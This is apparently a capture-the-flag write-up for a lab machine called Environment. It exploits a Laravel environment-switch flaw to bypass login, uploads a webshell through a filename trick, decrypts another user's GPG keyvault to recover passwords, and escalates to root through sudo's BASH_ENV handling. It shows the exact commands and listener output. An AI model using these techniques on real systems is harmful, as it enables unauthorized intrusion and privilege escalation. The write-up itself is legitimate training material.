Introduction #
Environment starts with a Laravel website. It has a CVE that allows to me change its environment and bypass login to get to internal site. From there I can abuse file upload functionality to get a shell. For privilege escalation I can use a gpg-encrypted file and the private key to get to next account. Finally I can abuse BASH_ENV and sudo configuration to get root.
Recon #
nmap #
nmap finds two open TCP ports, 22 (SSH) and 80 (HTTP):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.232.3
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrihP7aP61ww7KrHUutuC/GKOyHifRmeM070LMF7b6vguneFJ3dokS/UwZxcp+H82U2LL+patf3wEpLZz1oZdQ=
| 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7xeTjQWBwI6WERkd6C7qIKOCnXxGGtesEDTnFtL2f2
80/tcp open http syn-ack ttl 63 nginx 1.22.1
|_http-title: Did not follow redirect to http://environment.htb
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Added environment.htb to /etc/hosts.
The re-scan did not get any more information.
Website - TCP 80 #
There is not much on the site:

I can add email address to mailing list:

Its has email validation:

But nothing more that I can do here.
From the intercepted request I can see it most likely is a Laravel site:

The cookies show laravel_session, it does not necessarily mean it is in fact Laravel because it can be changed, but the combination of XSRF-TOKEN and *anything*_session is always set by Laravel.
Subdomain Enumeration #
─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://environment.htb/ -H 'Host: FUZZ.environment.htb' -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://environment.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.environment.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________
:: Progress: [220561/220561] :: Job [1/1] :: 975 req/sec :: Duration: [0:03:29] :: Errors: 0 ::
No progress there.
Directory Brute Force #
└─$ gobuster dir -u http://environment.htb/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://environment.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.config (Status: 403) [Size: 153]
/.hta (Status: 403) [Size: 153]
/.cache (Status: 403) [Size: 153]
/.cvs (Status: 403) [Size: 153]
/.forward (Status: 403) [Size: 153]
/.bash_history (Status: 403) [Size: 153]
/.htaccess (Status: 403) [Size: 153]
/.bashrc (Status: 403) [Size: 153]
/.cvsignore (Status: 403) [Size: 153]
/.history (Status: 403) [Size: 153]
/.git/HEAD (Status: 403) [Size: 153]
/.htpasswd (Status: 403) [Size: 153]
/.profile (Status: 403) [Size: 153]
/.rhosts (Status: 403) [Size: 153]
/.listing (Status: 403) [Size: 153]
/.perf (Status: 403) [Size: 153]
/.passwd (Status: 403) [Size: 153]
/.listings (Status: 403) [Size: 153]
/.ssh (Status: 403) [Size: 153]
/.mysql_history (Status: 403) [Size: 153]
/.sh_history (Status: 403) [Size: 153]
/.svn (Status: 403) [Size: 153]
/.subversion (Status: 403) [Size: 153]
/.web (Status: 403) [Size: 153]
/.svn/entries (Status: 403) [Size: 153]
/.swf (Status: 403) [Size: 153]
/build (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/favicon.ico (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 4602]
/login (Status: 200) [Size: 2391]
/logout (Status: 302) [Size: 358] [--> http://environment.htb/login]
/mailing (Status: 405) [Size: 244854]
/robots.txt (Status: 200) [Size: 24]
/storage (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up (Status: 200) [Size: 2126]
/upload (Status: 405) [Size: 244852]
/vendor (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
There are several paths to check:
There is a login form at /login:

That is useless for now.
When accessing http://environment.htb/upload/ I get Laravel debug page:

CVE-2024-52301 #
From that I get Laravel vesion - 11.30.0
This version has a CVE.

It is better explained here:
In summary, I can use http://environment.htb/?--env=local to change environment to local

Shell as www-data #
Login Page #
Back to login page.
The intercepted request contains 3 parameters: email, password and remember

When I update the request (delete the email and password) I get an error:

I can see a little bit of code when rendered:

The email and password are required, so I put it back in.
I can create a new error when I set the remember parameter to anything else but True/False, that should fail on line 75.
It does and reveals more of the code:

The section starting on line 79 is pretty interesting:

What it means is that if the environment is set to preprod it skips login entirely.
Management Dashboard #
That means that if I go to login page and enter arbitrary valid email address and password it should let me in.
I can add ?--env=preprod to the intercepted login request:

And when forwarded I am in:

Nothing too interesting there, but in the Profile section there is a File Upload functionality:

There are some filters that prevent me from from straight up uploading .php files:

And this time I do not get any Laravel debug pages to move from.
Webshell #
But there is another CVE
All it said is that I can just put . at the end of the filename (webshell.php.) and it should go through.
I also need to change the Content-Type and add the magic bytes (GIF89a):

And the file is uploaded to /storage/files/webshell.php
Now when I go to http://environment.htb/storage\files\webshell.php?cmd=id I have functional webshell:

Now I can setup listener and get shell:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.129.232.3] 56358
bash: cannot set terminal process group (931): Inappropriate ioctl for device
bash: no job control in this shell
www-data@environment:~/app/storage/app/public/files$
Shell as hish #
looking around there is not much in the /var/www, but interestingly www-data has full access to /home/hish/
www-data@environment:/home/hish$ ls -la
ls -la
total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 2025 .
drwxr-xr-x 3 root root 4096 Jan 12 2025 ..
lrwxrwxrwx 1 root root 9 Apr 7 2025 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish 220 Jan 6 2025 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12 2025 .bashrc
drwxr-xr-x 4 hish hish 4096 Nov 27 20:13 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan 6 2025 .local
-rw-r--r-- 1 hish hish 807 Jan 6 2025 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 backup
-rw-r--r-- 1 root hish 33 Nov 27 18:12 user.txt
www-data@environment:/home/hish$ cd backup
cd backup
www-data@environment:/home/hish/backup$ ls -la
ls -la
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 2025 .
drwxr-xr-x 5 hish hish 4096 Apr 11 2025 ..
-rw-r--r-- 1 hish hish 430 Nov 27 20:15 keyvault.gpg
There is interesting file keyvault.gpg
And the www-data can access all the files in .gnupg directory.
Decrypt Keyvault #
To decrypt a file using gpg, I will need to pass it the -d flag:
www-data@environment:/home/hish/backup$ gpg -d --home /home/hish/ /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe ownership on homedir '/home/hish'
gpg: failed to create temporary file '/home/hish/.#lk0x000055caa3f7b170.environment.2334': Permission denied
gpg: keyblock resource '/home/hish/pubring.kbx': Permission denied
gpg: encrypted with RSA key, ID B755B0EDD6CFCFD3
gpg: decryption failed: No secret key
By default, it will try to read from the current user .gnupg directory (I can use --home <directory> to point elsewhere). If I try to use hish’s directory it fails because it is trying to write temporary files in /home/hist, which www-data does not have permission to do.
To circumvent that I can create a new fake home directory to use in /dev/shm, and copy all the GPG related files into it:
www-data@environment:/home/hish/backup$ mkdir -p /dev/shm/temp_home
www-data@environment:/home/hish/backup$ cp -r /home/hish/.gnupg/ /dev/shm/temp_home
And re-run the above command:
www-data@environment:/home/hish/backup$ gpg -d --home /dev/shm/temp_home/.gnupg/ /home/hish/backup/keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/dev/shm/temp_home/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!
www-data@environment:/home/hish/backup$
SSH / SU #
With the password I can su or better SSH in as hish:
ww-data@environment:/home/hish/backup$ su hish
Password: marineSPm@ster!!
python3 -c "import pty;pty.spawn('/bin/bash')"
hish@environment:~/backup$ id
uid=1000(hish) gid=1000(hish) groups=1000(hish),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),110(bluetooth)
hish@environment:~/backup$
Root #
Hish can run systeminfo as sudo:
hish@environment:~/backup$ sudo -l
[sudo] password for hish: marineSPm@ster!!
Matching Defaults entries for hish on environment:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
env_keep+="ENV BASH_ENV", use_pty
User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo
It is set with ENV and BASH_ENV as environment variables.
BASH_ENV #
More info HERE
But basically, when a script starts, the script in the $BASH_ENV path is just executed.
To abuse this I can create a script that will run bash:
hish@environment:~$ nano /dev/shm/shell.sh
hish@environment:~$ cat /dev/shm/shell.sh
#!/bin/bash
/bin/bash
Now when I run systeminfo with BASH_ENV set I get root:
hish@environment:~$ BASH_ENV=/dev/shm/shell.sh sudo systeminfo
[sudo] password for hish:
root@environment:/home/hish# id
uid=0(root) gid=0(root) groups=0(root)
root@environment:/home/hish#
Now Grab the flag and you are done.